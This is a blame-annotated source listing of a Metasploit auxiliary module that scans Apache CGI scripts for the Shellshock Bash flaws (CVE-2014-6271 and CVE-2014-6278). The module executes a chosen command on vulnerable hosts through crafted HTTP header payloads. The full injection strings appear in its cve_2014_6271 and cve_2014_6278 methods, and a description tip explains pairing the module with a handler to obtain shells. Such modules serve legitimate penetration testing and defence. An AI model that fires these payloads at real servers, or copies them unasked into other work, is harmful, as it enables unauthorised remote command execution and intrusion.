2014-09-24 15:37:03 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-09-24 15:37:03 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2014-09-24 15:37:03 -05:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-09-24 18:56:16 -05:00
|
|
|
include Msf::Auxiliary::Scanner
|
2014-09-25 01:14:58 -05:00
|
|
|
include Msf::Auxiliary::Report
|
2014-09-24 15:37:03 -05:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2015-12-01 10:40:46 -06:00
|
|
|
'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner',
|
2014-09-24 15:37:03 -05:00
|
|
|
'Description' => %q{
|
2015-12-01 10:40:46 -06:00
|
|
|
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell
|
|
|
|
|
handles external environment variables. This module targets CGI scripts in the
|
|
|
|
|
Apache web server by setting the HTTP_USER_AGENT environment variable to a
|
|
|
|
|
malicious function definition.
|
2014-09-25 01:10:22 -05:00
|
|
|
|
|
|
|
|
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
2014-09-25 07:09:08 -05:00
|
|
|
CMD, set ExitOnSession false, run -j, and then run this module to create
|
|
|
|
|
sessions on vulnerable hosts.
|
2014-09-30 11:34:28 -05:00
|
|
|
|
|
|
|
|
Note that this is not the recommended method for obtaining shells.
|
|
|
|
|
If you require sessions, please use the apache_mod_cgi_bash_env_exec
|
|
|
|
|
exploit module instead.
|
2014-09-24 15:37:03 -05:00
|
|
|
},
|
2014-09-24 17:01:13 -05:00
|
|
|
'Author' => [
|
|
|
|
|
'Stephane Chazelas', # Vulnerability discovery
|
2014-10-01 16:40:55 -05:00
|
|
|
'wvu', # Metasploit module
|
|
|
|
|
'lcamtuf' # CVE-2014-6278
|
2014-09-24 17:01:13 -05:00
|
|
|
],
|
2014-09-24 15:37:03 -05:00
|
|
|
'References' => [
|
2017-06-28 15:48:48 -04:00
|
|
|
[ 'CVE', '2014-6271' ],
|
|
|
|
|
[ 'CVE', '2014-6278' ],
|
|
|
|
|
[ 'OSVDB', '112004' ],
|
|
|
|
|
[ 'EDB', '34765' ],
|
|
|
|
|
[ 'URL', 'https://access.redhat.com/articles/1200223' ],
|
2018-09-15 18:54:45 -05:00
|
|
|
[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ]
|
2014-09-24 15:37:03 -05:00
|
|
|
],
|
2018-11-16 12:18:28 -06:00
|
|
|
'DisclosureDate' => '2014-09-24',
|
2018-08-27 13:11:22 -05:00
|
|
|
'License' => MSF_LICENSE,
|
2018-10-05 03:00:40 -05:00
|
|
|
'Notes' => {'AKA' => ['Shellshock']}
|
2014-09-24 15:37:03 -05:00
|
|
|
))
|
|
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
|
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
2014-09-27 12:26:48 -05:00
|
|
|
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
|
|
|
|
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
2014-09-24 18:42:43 -05:00
|
|
|
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
2014-10-01 16:40:55 -05:00
|
|
|
'/usr/bin/id']),
|
|
|
|
|
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271',
|
|
|
|
|
['CVE-2014-6271', 'CVE-2014-6278']])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2014-09-24 15:37:03 -05:00
|
|
|
end
|
|
|
|
|
|
2014-09-25 07:06:12 -05:00
|
|
|
def check_host(ip)
|
2014-10-01 16:40:55 -05:00
|
|
|
res = req("echo #{marker}", datastore['CVE'])
|
2014-09-25 00:33:13 -05:00
|
|
|
|
2014-09-29 22:32:07 -05:00
|
|
|
if res && res.body.include?(marker * 3)
|
2014-09-25 03:22:22 -05:00
|
|
|
report_vuln(
|
2014-09-25 07:06:12 -05:00
|
|
|
:host => ip,
|
2014-09-25 03:22:22 -05:00
|
|
|
:port => rport,
|
|
|
|
|
:name => self.name,
|
|
|
|
|
:refs => self.references
|
|
|
|
|
)
|
2014-09-26 16:04:15 -05:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
2014-09-26 16:01:10 -05:00
|
|
|
elsif res && res.code == 500
|
2014-09-26 15:55:26 -05:00
|
|
|
injected_res_code = res.code
|
2014-09-25 03:22:22 -05:00
|
|
|
else
|
2014-09-26 16:04:15 -05:00
|
|
|
return Exploit::CheckCode::Safe
|
2014-09-25 03:22:22 -05:00
|
|
|
end
|
2014-09-26 15:55:26 -05:00
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
|
'method' => datastore['METHOD'],
|
|
|
|
|
'uri' => normalize_uri(target_uri.path.to_s)
|
|
|
|
|
})
|
|
|
|
|
|
|
|
|
|
if res && injected_res_code == res.code
|
2014-09-26 16:01:10 -05:00
|
|
|
return Exploit::CheckCode::Unknown
|
2014-09-26 15:55:26 -05:00
|
|
|
elsif res && injected_res_code != res.code
|
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
Exploit::CheckCode::Unknown
|
2014-09-25 03:22:22 -05:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run_host(ip)
|
2014-09-25 07:06:12 -05:00
|
|
|
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
2014-09-24 22:41:01 -05:00
|
|
|
|
2014-10-01 16:40:55 -05:00
|
|
|
res = req(datastore['CMD'], datastore['CVE'])
|
2014-09-25 01:01:11 -05:00
|
|
|
|
2014-09-29 22:32:07 -05:00
|
|
|
if res && res.body =~ /#{marker}(.+)#{marker}/m
|
2016-02-01 16:06:34 -06:00
|
|
|
print_good("#{$1}")
|
2014-09-25 00:33:13 -05:00
|
|
|
report_vuln(
|
|
|
|
|
:host => ip,
|
|
|
|
|
:port => rport,
|
|
|
|
|
:name => self.name,
|
|
|
|
|
:refs => self.references
|
|
|
|
|
)
|
2014-09-24 22:41:01 -05:00
|
|
|
end
|
2014-09-24 15:37:03 -05:00
|
|
|
end
|
|
|
|
|
|
2014-10-01 16:40:55 -05:00
|
|
|
def req(cmd, cve)
|
|
|
|
|
case cve
|
|
|
|
|
when 'CVE-2014-6271'
|
|
|
|
|
sploit = cve_2014_6271(cmd)
|
|
|
|
|
when 'CVE-2014-6278'
|
|
|
|
|
sploit = cve_2014_6278(cmd)
|
|
|
|
|
end
|
|
|
|
|
|
2014-09-25 03:22:22 -05:00
|
|
|
send_request_cgi(
|
|
|
|
|
'method' => datastore['METHOD'],
|
|
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2014-09-27 12:26:48 -05:00
|
|
|
'headers' => {
|
2014-10-01 16:40:55 -05:00
|
|
|
datastore['HEADER'] => sploit
|
2014-09-27 12:26:48 -05:00
|
|
|
}
|
2014-09-25 03:22:22 -05:00
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2014-10-01 16:40:55 -05:00
|
|
|
def cve_2014_6271(cmd)
|
2014-09-29 22:32:07 -05:00
|
|
|
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
|
2014-09-29 22:04:40 -05:00
|
|
|
end
|
|
|
|
|
|
2014-10-01 16:40:55 -05:00
|
|
|
def cve_2014_6278(cmd)
|
|
|
|
|
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
|
|
|
|
|
end
|
|
|
|
|
|
2014-09-25 03:22:22 -05:00
|
|
|
def marker
|
2014-09-29 22:32:07 -05:00
|
|
|
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
|
2014-09-25 03:22:22 -05:00
|
|
|
end
|
2014-09-24 15:37:03 -05:00
|
|
|
end
|